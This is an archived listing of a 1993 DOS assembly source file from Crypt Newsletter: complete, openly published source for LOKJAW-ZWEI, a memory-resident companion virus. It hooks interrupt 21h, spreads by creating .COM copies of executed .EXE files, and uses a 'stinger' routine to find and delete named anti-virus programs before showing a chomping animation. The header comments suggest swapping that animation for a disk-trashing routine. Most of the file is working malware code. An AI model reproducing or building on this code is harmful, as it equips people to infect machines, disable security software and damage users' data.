home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / LOKJAWZ.ASM < prev    next >
Assembly Source File  |  1993-01-28  |  17KB  |  567 lines

  1. ;LOKJAW-ZWEI: an .EXE-infecting spawning virus with retaliatory 
  2. ;anti-anti-virus capability.  For Crypt Newsletter 12, Feb. 1993.               
  3. ;
  4. ;LOKJAW-ZWEI is a resident spawning virus which installs itself in
  5. ;memory using the same engine as the original Civil War/Proto-T virus.
  6. ;It is simpler in that none of its addresses have to be 
  7. ;relative, an indirect benefit of the fact that the virus has no 
  8. ;"appending" quality.  That means, LOKJAW doesn't alter its "host" files,
  9. ;much like a number of other companion/spawning viruses published in
  10. ;previous newsletters.
  11. ;
  12. ;LOKJAW hooks interrupt 21 and infects .EXE files on execution, creating 
  13. ;itself as companion .COMfile to the "host."  Due to the inherent rules
  14. ;of DOS, this ensures the virus will be executed before the "host" the
  15. ;next time the infected program is used.  In reality, LOKJAW is even
  16. ;simpler than that.  If not in memory, the first time the host is
  17. ;called, LOKJAW will go resident and not even bother to load it.
  18. ;In most cases, the user will assume a slight error and call the host
  19. ;again, at which point it will function normally. LOKJAW will then infect
  20. ;every subsequent .EXE file called. LOKJAW is very transparent in operation,
  21. ;except when certain anti-virus programs (Integrity Master, McAfee's SCAN &
  22. ;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded.
  23. ;LOKJAW spawning variants are so simple they don't even need much in the
  24. ;way of installation checks. The virus simply becomes resident the first
  25. ;time it is called. Once in memory, when other infect file are executed
  26. ;LOKJAW merely looks over the loaded file, if it recognizes itself it
  27. ;discards the load and proceeds to execute the "infected" file as would
  28. ;be the case on an uninfected system.
  29. ;
  30. ;LOKJAW's "stinger" code demonstrates the simplicity of creating a strongly
  31. ;retaliating virus by quickly deleting the anti-virus program before it
  32. ;can execute and then displaying a "chomping" graphic.  Even if the anti-
  33. ;virus program cannot detect LOKJAW in memory, it will be deleted.  This
  34. ;makes it essential that the user know how to either remove the virus from
  35. ;memory before beginning anti-virus measures, or at the least run the
  36. ;anti-virus component from a write-protected disk. (If the LOKJAW viruses
  37. ;are present in memory and an anti-virus program is run from a write- 
  38. ;protected disketter, it will, of course, generate "write protect" 
  39. ;errors.) At a time when retail anti-virus packages are becoming more 
  40. ;complicated - and more likely that the
  41. ;average user will run them from default installations on his hard file -
  42. ;LOKJAW's retaliating power makes it a potentially very annoying pest.
  43. ;A virus-programmer serious about inconveniencing a system could do a
  44. ;number of things with this basic idea. They are;
  45. ; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus
  46. ; instantly.
  47. ; 2. Alter the_stinger routine, so that the virus immediately attacks the
  48. ; hard file.  The implementation is demonstrated by LOKJAW-DREI, which
  49. ; merely makes the disk inaccessible until a warm reboot if an anti-virus
  50. ; program is employed against it.  By placing
  51. ; a BONA FIDE disk-trashing routine here, it becomes very hazardous for
  52. ; an unknowing user to employ anti-virus measures on a machine where
  53. ; LOKJAW or a LOKJAW-like program is memory resident. LOKJAW-DREI,
  54. ; which does not try to delete anti-virus files, displays the "chomp"
  55. ; and mimics trashing the disk even when the anti-virus program is
  56. ; used from a write-protected diskette.  Of course, the user will 
  57. ; see no "write protect" error as with the other viruses. The disk merely
  58. ; becomes inacessible.
  59. ;
  60. ;These anti-anti-virus strategies are becoming more common in viral 
  61. ;programming.                 
  62. ;
  63. ;Mark Ludwig programmed the features of a direct-action retaliating
  64. ;virus in his "Computer Virus Developments Quarterly."  Peach, Groove and
  65. ;Encroacher viruses attack anti-virus software by deletion of files central
  66. ;to the functionality of the software. 
  67. ;
  68. ;And in this issue, the Sandra virus employs a number 
  69. ;of anti-anti-virus features. 
  70. ;
  71. ;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and                
  72. ;DREI infected files from a system, simply delete the "companion" .COM 
  73. ;duplicates of your executables.  Ensure that the machine has been booted
  74. ;from a clean disk.  To remove the LOKJAW .COM-appending virus, at this
  75. ;time it will be necessary for you to restore the contaminated files from
  76. ;a clean back-up.
  77. ;
  78. ;Alert readers will notice the LOKJAW-ZWEI and DREI create their "companion"
  79. ;files in plain sight.  Generally, spawning viruses make themselves
  80. ;hidden-read-only-system files.  This is an easy hack and the code is supplied
  81. ;in earlier issues of the newsletter.  The modification is left to 
  82. ;the reader as an academic exercise.
  83.  
  84.            .radix 16
  85.      cseg       segment
  86.         model  small
  87.         assume cs:cseg, ds:cseg, es:cseg
  88.  
  89.         org 100h
  90.  
  91. oi21            equ endit
  92. filelength      equ endit - begin
  93. nameptr         equ endit+4
  94. DTA             equ endit+8
  95.  
  96.      
  97.  
  98.  
  99.  
  100.  
  101. begin:          jmp     virus_install                              
  102.  
  103. note:            
  104.         db     '[lÖçk⌡äW-zWÉì].ߥ.Ürπ$┼ådëMû$'
  105.         db     '┼Hï$.pΓÖGΓåm.î$.à.{pΓÖ┼ö-┼].√âΓïåñ┼,$ôΓ┼.öƒ.'
  106.         db     'ÇΓÿ₧.Ñëw$└Σ╫εΓ'     ; I.D. note: will probably be
  107.                         ; documented in VSUM
  108.         
  109.  
  110.                          ; install
  111. virus_install:  mov     ax,cs                    ; reduce memory size     
  112.         dec     ax                           
  113.         mov     ds,ax                        
  114.         cmp     byte ptr ds:[0000],5a    ; check if last memory     
  115.         jne     cancel                   ; block     
  116.         mov     ax,ds:[0003]                 
  117.         sub     ax,100                   ; decrease memory     
  118.         mov     ds:0003,ax
  119. Zopy_virus:  
  120.         mov     bx,ax                    ; copy to claimed block  
  121.         mov     ax,es                    ; PSP    
  122.         add     ax,bx                    ; virus start in memory   
  123.         mov     es,ax
  124.         mov     cx,offset endit - begin  ; cx = length of virus                  
  125.         mov     ax,ds                    ; restore ds   
  126.         inc     ax
  127.         mov     ds,ax
  128.         lea     si,ds:[begin]            ; point to start of virus
  129.         lea     di,es:0100               ; point to destination   
  130.         rep     movsb                    ; copy virus in memory   
  131.                              
  132.  
  133.  
  134. Grab_21:                                     
  135.         
  136.         mov     ds,cx                   ; hook interrupt 21h
  137.         mov     si,0084h                ; 
  138.         mov     di,offset oi21
  139.         mov     dx,offset check_exec
  140.         lodsw
  141.         cmp     ax,dx                   ;
  142.         je      cancel                  ; exit, if already installed
  143.         stosw
  144.         movsw
  145.         
  146.         push    es 
  147.         pop     ds
  148.         mov     ax,2521h                ; revector int 21h to virus
  149.         int     21h
  150.                      
  151. cancel:         ret          
  152.  
  153. check_exec:                                    ; look over loaded files
  154.         pushf                          ; for executables
  155.  
  156.         push    es                     ; push everything onto the
  157.         push    ds                     ; stack
  158.         push    ax
  159.         push    bx
  160.         push    dx
  161.  
  162.         cmp     ax,04B00h               ; is a file being 
  163.                         ; executed ?
  164.         
  165.         
  166.         jne     abort                   ; no, exit
  167.         
  168.         
  169.  
  170.  
  171.                          ;if yes, try the_stinger
  172. do_infect:      call    infect                  ; then try to infect
  173.         
  174.         
  175.                   
  176.  
  177. abort:                                        ; restore everything
  178.         pop     dx
  179.         pop     bx
  180.         pop     ax
  181.         pop     ds
  182.         pop     es
  183.         popf
  184.  
  185. bye_bye:      
  186.                          ; exit
  187.         jmp     dword ptr cs:[oi21]                     
  188.  
  189.  
  190. new_24h:        
  191.         mov     al,3             ; critical error handler
  192.         iret
  193.  
  194. infect:          
  195.         mov     cs:[name_seg],ds       ; this routine
  196.         mov     cs:[name_off],dx       ; essentially grabs
  197.                            ; the name of the file
  198.         cld                            ; <--
  199.         mov     di,dx                  ; being loaded 
  200.         push    ds                     ; and copies it into a
  201.         pop     es                     ; buffer where the virus
  202.         mov     al,'.'                 ; can compare it to its 
  203.         repne   scasb                  ; "anti-virus" list, from 
  204.                            ; the_stinger routine
  205.         call    the_stinger    ; now, call Lokjaw's anti-virus
  206.                        ; stinger
  207.         
  208.                        ; no anti-virus, resume infection
  209.         
  210.         cld                                ; clear direction flags
  211.         mov     word ptr cs:[nameptr],dx ; save pointer to the filename
  212.         mov     word ptr cs:[nameptr+2],ds
  213.  
  214.         mov     ah,2Fh                    ; get old DTA
  215.         int     21h
  216.         push    es
  217.         push    bx
  218.  
  219.         push    cs                        ; set new DTA
  220.  
  221.         pop     ds
  222.         mov     dx,offset DTA
  223.         mov     ah,1Ah
  224.         int     21h
  225.  
  226.         call    searchpoint              ; find filename for virus
  227.         push    di
  228.         mov     si,offset COM_txt       ; is extension 'COM' ?
  229.  
  230.         mov     cx,3
  231.      rep    cmpsb 
  232.         pop     di
  233.         jz      do_com                  ; if so, go to out .COM routine
  234.         mov     si,offset EXE_txt       ; is extension .EXE ?
  235.         nop
  236.         mov     cl,3
  237.         rep     cmpsb
  238.         jnz     return
  239.  
  240. do_exe:         mov     si,offset COM_txt      ; load .COM extent mask
  241.         nop
  242.         call    change_ext             ; change extension on filename.EXE
  243.         mov     ax,3300h               ; to .COM
  244.         nop
  245.         int     21h
  246.         push    dx
  247.  
  248.         cwd
  249.         inc     ax                     ; clear flags
  250.         push    ax
  251.         int     21h
  252.  
  253. Grab24h:        
  254.         
  255.         mov     ax,3524h           ; get critical error handler vector
  256.         int     21h        
  257.         push    bx
  258.         push    es
  259.         push    cs                 ; set interrupt 24h to new handler
  260.         pop     ds
  261.         mov     dx,offset new_24h
  262.         mov     ah,25h
  263.         push    ax
  264.         int     21h
  265.         
  266.         
  267.         lds     dx,dword ptr [nameptr]  ; create the virus (with name)
  268.         xor     cx,cx                   ; of EXE target
  269.         mov     ah,05Bh                 ;
  270.         int     21
  271.         jc      return1                 
  272.         xchg    bx,ax                   ; save handle
  273.         
  274.  
  275.  
  276.         push    cs
  277.         pop     ds
  278.         mov     cx,filelength          ; cx = virus length
  279.         mov     dx,offset begin
  280.         mov     ah,40h                ; write the virus to the created
  281.         int     21h                    ; file
  282.  
  283.         mov     ah,3Eh                 ; close the file
  284.         int     21h
  285.  
  286. return1:        pop     ax                     ; restore interrupt 24h
  287.         pop     ds
  288.         pop     dx
  289.         int     21h
  290.         
  291.         pop     ax
  292.         pop     dx                     ; restore Crtl-break flags
  293.         int     21h
  294.         
  295.         mov     si,offset EXE_txt      ; load .EXE mask
  296.         call    change_ext             ; and change the extension on
  297.                            ; the filename back to original
  298. return:         mov     ah,1Ah                 ; host
  299.         pop     dx                     ; restore old DTA
  300.         pop     ds
  301.         int     21H
  302.  
  303.         ret                            ;
  304.  
  305. do_com:         call    findfirst           ; is the .COMfile executed the virus?    
  306.         cmp     word ptr cs:[DTA+1Ah],endit - begin
  307.         jne     return              ; no, so exit
  308.         mov     si,offset EXE_txt   ; does the .EXE variant exist ?
  309.         call    change_ext          
  310.         call    findfirst
  311.         jnc     return              ; 
  312.         mov     si,offset COM_txt   ; load .COM extension
  313.         call    change_ext          ; change the filename and
  314.         jmp     short return        ; jump to exit
  315.  
  316. searchpoint:    les     di,dword ptr cs:[nameptr]
  317.         mov     ch,0FFh
  318.         mov     al,0
  319.      repnz  scasb
  320.         sub     di,4
  321.         ret
  322. change_ext:     call    searchpoint
  323.         push    cs
  324.         pop     ds
  325.         movsw
  326.         movsw
  327.         ret
  328.  
  329. findfirst:      lds     dx,dword ptr [nameptr]
  330.         mov     cl,27h
  331.         mov     ah,4Eh
  332.         int     21h
  333.         ret
  334.              
  335. the_stinger:   ; the_stinger compares the loaded filename with these defaults
  336.         cmp     word ptr es:[di-3],'MI'    ;Integrity Master
  337.         je      jumptoass                  ; Stiller Research
  338.         
  339.         cmp     word ptr es:[di-3],'XR'    ; Virx = VIREX
  340.         je      jumptoass                  ; if there's a match
  341.                            ; go to assassinate file
  342.         cmp     word ptr es:[di-3],'PO'    ;*STOP = VIRSTOP
  343.         jne     next1                      ; F-Prot
  344.         cmp     word ptr es:[di-5],'TS'   
  345.         je      jumptoass                
  346.  
  347. next1:          cmp     word ptr es:[di-3],'VA'    ; AV = CPAV
  348.         je      jumptoass                  ; Central Point   
  349.         
  350.         cmp     word ptr es:[di-3],'TO'    ;*prot = F-prot
  351.         jne     next2                
  352.         cmp     word ptr es:[di-5],'RP'  
  353.         je      jumptoass                     
  354.  
  355. next2:          cmp     word ptr es:[di-3],'NA'    ;*scan  = McAfee's Scan.
  356.         jne     next3                
  357.         cmp     word ptr es:[di-5],'CS'  
  358.         je      jumptoass                     
  359.         
  360.         cmp     word ptr es:[di-3],'NA'    ; *lean = CLEAN.
  361.         jne     next3                      ; why not, eh?
  362.         cmp     word ptr es:[di-5],'EL'  
  363.         je      jumptoass                     
  364. next3:          ret                
  365. jumptoass:                             ; assassinate anti-virus program
  366.  
  367.         mov     ds,cs:[name_seg]           ; points to
  368.         mov     dx,cs:[name_off]           ; filename to delete
  369.         
  370.         mov     ax, 4301h                  ; clear attributes
  371.         mov     cx, 00h
  372.         int     21h            
  373.         jc      chomp                      ; exit on error to visual
  374.         mov     ah, 41h                    ; delete anti-virus file
  375.         int     21h                        ; exit on error to visual
  376.         jc      chomp
  377. chomp:
  378.         push    cs                           ; chomper visual
  379.         pop     ds
  380.         mov     ah, 03h
  381.         int     10h
  382.         mov     [c1], bh                   ; save cursor 
  383.         mov     [c2], dh 
  384.         mov     [c3], dl 
  385.         mov     [c4], ch 
  386.         mov     [c5], cl 
  387.         mov     ah, 1
  388.         mov     cl, 0
  389.         mov     ch, 40h                 
  390.         int     10h                    
  391.                            
  392.         mov     cl, 0
  393.         mov     dl, 4Fh                 
  394.         mov     ah, 6
  395.         mov     al, 0
  396.         mov     bh, 0Fh
  397.         mov     ch, 0
  398.         mov     cl, 0
  399.         mov     dh, 0
  400.         mov     dl, 4Fh                 
  401.         int     10h                    
  402.                            
  403.         mov     ah, 2
  404.         mov     dh, 0
  405.         mov     dl, 1Fh
  406.         mov     bh, 0
  407.         int     10h                    
  408.                            
  409.         mov     dx,offset eyes           ; print the eyes
  410.         mov     ah, 9
  411.         mov     bl, 0Fh
  412.         int     21h                    
  413.                            
  414.         mov     ah, 2
  415.         mov     dh, 1
  416.         mov     dl, 0
  417.         int     10h                    
  418.                            
  419.         mov     ah, 9
  420.         mov     al, 0DCh
  421.         mov     bl, 0Fh
  422.         mov     cx, 50h
  423.         int     10h                    
  424.                            
  425.         mov     ah, 2
  426.         mov     dh, 18h
  427.         mov     dl, 0
  428.         int     10h                    
  429.                            
  430.         mov     ah, 9
  431.         mov     al, 0DFh
  432.         mov     bl, 0Fh
  433.         mov     cx, 50h
  434.         int     10h                    
  435.                            
  436.         mov     dl, 0
  437. chomp_1:
  438.         mov     ah, 2
  439.         mov     dh, 2
  440.         int     10h                    
  441.                            
  442.         mov     ah, 9
  443.         mov     al, 55h                 
  444.         mov     bl, 0Fh
  445.         mov     cx, 1
  446.         int     10h                    
  447.                            
  448.         mov     ah, 2
  449.         mov     dh, 17h
  450.         inc     dl
  451.         int     10h                    
  452.                            
  453.         mov     ah, 9
  454.         mov     al, 0EFh
  455.         mov     bl, 0Fh
  456.         int     10h                    
  457.                            
  458.         inc     dl
  459.         cmp     dl, 50h                 
  460.         jl      chomp_1                  
  461.         mov     [data_1], 0
  462. chomp_3:
  463.         mov     cx, 7FFFh                    ; delays
  464.  
  465. locloop_4:
  466.         loop    locloop_4              
  467.  
  468.         inc     [data_1]
  469.         cmp     [data_1], 0Ah
  470.         jl      chomp_3                  
  471.         mov     [data_1], 0
  472.         mov     cl, 0
  473.         mov     dl, 4Fh                 
  474. chomp_5:
  475.         mov     ah, 6
  476.         mov     al, 1
  477.         mov     bh, [data_2]
  478.         mov     ch, 0Dh
  479.         mov     dh, 18h
  480.         int     10h                    
  481.                            
  482.         mov     ah, 7
  483.         mov     al, 1
  484.         mov     bh, [data_2]
  485.         mov     ch, 0
  486.         mov     dh, 0Ch
  487.         int     10h                    
  488.         mov     cx, 3FFFh                      ; delays
  489.  
  490. locloop_6:
  491.         loop    locloop_6              
  492.         inc     [data_1]
  493.         cmp     [data_1], 0Bh
  494.         jl      chomp_5                  
  495.         mov     [data_1], 0
  496. chomp_7:
  497.         mov     cx, 7FFFh                       ; delays
  498.  
  499. locloop_8:
  500.         loop    locloop_8              
  501.         inc     [data_1]
  502.         cmp     [data_1], 0Ah
  503.         jl      chomp_7                  
  504.         mov     ah, 6
  505.         mov     al, 0
  506.         mov     bh, [data_2]
  507.         mov     ch, 0
  508.         mov     cl, 0
  509.         mov     dh, 18h
  510.         mov     dl, 4Fh                 
  511.         int     10h                    
  512.                            
  513.         mov     cl, 7
  514.         mov     ch, 6
  515.         int     10h                    
  516.         
  517.         mov     ah, 2
  518.         mov     bh, [c1] 
  519.         mov     dh, [c2] 
  520.         mov     dl, [c3] 
  521.         int     10h
  522.         mov     al, bh
  523.         mov     ah, 5
  524.         int     10h
  525.         mov     ah, 1
  526.         mov     ch, [c4]
  527.         mov     cl, [c5]
  528.         int     10h
  529.         mov     ax, 0003h
  530.         int     10h                        ; sort of a cls
  531.         mov     ax, 00ffh
  532.         ret
  533.  
  534.  
  535.  
  536.  
  537.  
  538.         
  539.  
  540. EXE_txt         db  'EXE',0      ; extension masks
  541. COM_txt         db  'COM',0
  542.  
  543. eyes            db      '(o)          (o)','$'  ; ASCII eyes of Lockjaw    
  544.  
  545. data_1          db      0
  546. data_2          db      0
  547.  
  548. name_seg        dw  ?
  549. name_off        dw  ?
  550.  
  551. c1              db       0          
  552. c2              db       0          
  553. c3              db       0          
  554. c4              db       0          
  555. c5              db       0          
  556.  
  557. note2:           db     'Lokjaw-Zwei'
  558.                
  559. endit:
  560.  
  561.  
  562. cseg            ends
  563.         end begin
  564.  
  565.  
  566.  
  567.